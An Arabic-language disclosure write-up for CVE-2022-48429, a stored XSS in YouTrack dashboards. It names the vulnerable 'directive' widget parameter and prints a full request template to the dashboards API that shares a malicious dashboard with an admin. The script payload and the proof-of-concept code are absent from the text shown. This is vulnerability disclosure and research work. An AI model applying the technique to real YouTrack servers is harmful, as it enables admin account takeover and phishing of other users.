
PoC لثغرة CVE-2022-48429 - XSS مخزّنة في Youtrack
الوصف المنشور لـ CVE في قاعدة بيانات NVD يفتقر إلى الدقة. فيما يلي وصف أكثر دقة:
يحتوي YouTrack (الإصدار <= 2022.3.65373) على ثغرة مخزّنة من نوع Cross-Site Scripting (XSS) في لوحات المعلومات. يمكن لمستخدم ضار بصلاحيات منخفضة إنشاء لوحة معلومات مشوّهة ومشاركتها مع مستخدمين آخرين (مثل المسؤولين). قد يؤدي هذا إلى الاستيلاء على حساب المسؤول.
المؤلف الأصلي: echo-devim
أثناء البحث في المشكلات الأمنية في إصدار YouTrack 2022.3.65373، اكتشفت ثغرة XSS في لوحات المعلومات.
يمكن لمستخدم غير مميز إنشاء لوحة معلومات جديدة تحتوي على أداة (widget) خبيثة تحمل كود JavaScript محقونًا. يمكن مشاركة لوحة المعلومات مع مستخدمين آخرين، مثل المسؤولين، عبر إرسال الكود الخبيث إليهم.
يمكن لهذه الثغرة XSS استهداف المستخدمين المحددين فقط، ومن السهل جدًا خداع الضحية لفتح لوحة المعلومات الخبيثة. في الواقع، سيتم الإشعار بلوحة المعلومات الجديدة على الصفحة الرئيسية للضحية. لاحظت أن الثغرة موجودة منذ الإصدار 2021.4.38425، ولكنها قد تكون أقدم من ذلك.
المعامل (parameter) المعرّض للثغرة هو "directive" عند إضافة المستخدم لأداة جديدة.
مثال على طلب خبيث لحقن XSS:
POST /hub/api/rest/dashboards/39ecb0a3-4bb5-45de-9616-9945fd284886 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Windows x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Type: application/json;charset=utf-8
Content-Length: 1214
{"type":"DashboardJSON","id":"39ecb0a3-4bb5-45de-9616-9945fd284886","name":"testxss","owner":{"type":"user","id":"58a24bf5-53ad-4966-9b5d-63cb8dbfef0a","login":"test"},"data":{"widgets":[{"id":"youtrack-activities-widget","directive":"","grid":{"width":2,"height":2,"y":0,"x":0},"config":{"created":"2023-03-17T10:04:50.590Z","customWidgetConfig":{"filter":{"title":null,"query":"by: me","author":null,"categoriesIds":["IssueCreatedCategory","ProjectCategory","SummaryCategory","DescriptionCategory","CustomFieldCategory","AttachmentsCategory","LinksCategory","CommentsCategory"],"youTrack":{"id":"731f4f21-b0f9-42bd-9509-127b2d0585e1","homeUrl":"/"},"refreshPeriod":240}}}}]},"permission":"OWNER","access":"OWNER","favorite":true,"ordinal":0,"permissions":[{"type":"UserDashboardPermissionJSON","id":"42e794d7-0009-4b00-83f4-45991a0392f0","permission":"VIEW","user":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"},"personality":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a","name":"admin","login":"admin","profile":{"avatar":{"type":"defaultavatar","url":"http://localhost:8081/hub/api/rest/avatar/fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"}}}}]}
بعد ذلك، عند تحديث الصفحة سنحصل على XSS:

يمكن لهذه الثغرة XSS تمكين مستخدم بصلاحيات منخفضة من تنفيذ هجمات التصيد عبر نماذج تسجيل دخول مزيفة، أو إعادة توجيه متصفح المستخدم، أو حتى تنفيذ عمليات إدارية.
والأخطر من ذلك، إذا كان التسجيل مفتوحًا في المنصة، فقد يسمح ذلك لمهاجم خارجي بتسجيل مستخدم جديد وتنفيذ الهجوم.
كإثبات للمفهوم (PoC)، استخدمت مستخدم اختبار بصلاحيات منخفضة لتغيير الاسم الكامل لحساب المسؤول.
كود إثبات المفهوم:
توضح هذه الصورة المتحركة التأثيرات. النافذة اليسرى هي الصفحة الخاصة بالمستخدم غير المميز، والنافذة اليمنى هي صفحة المسؤول.
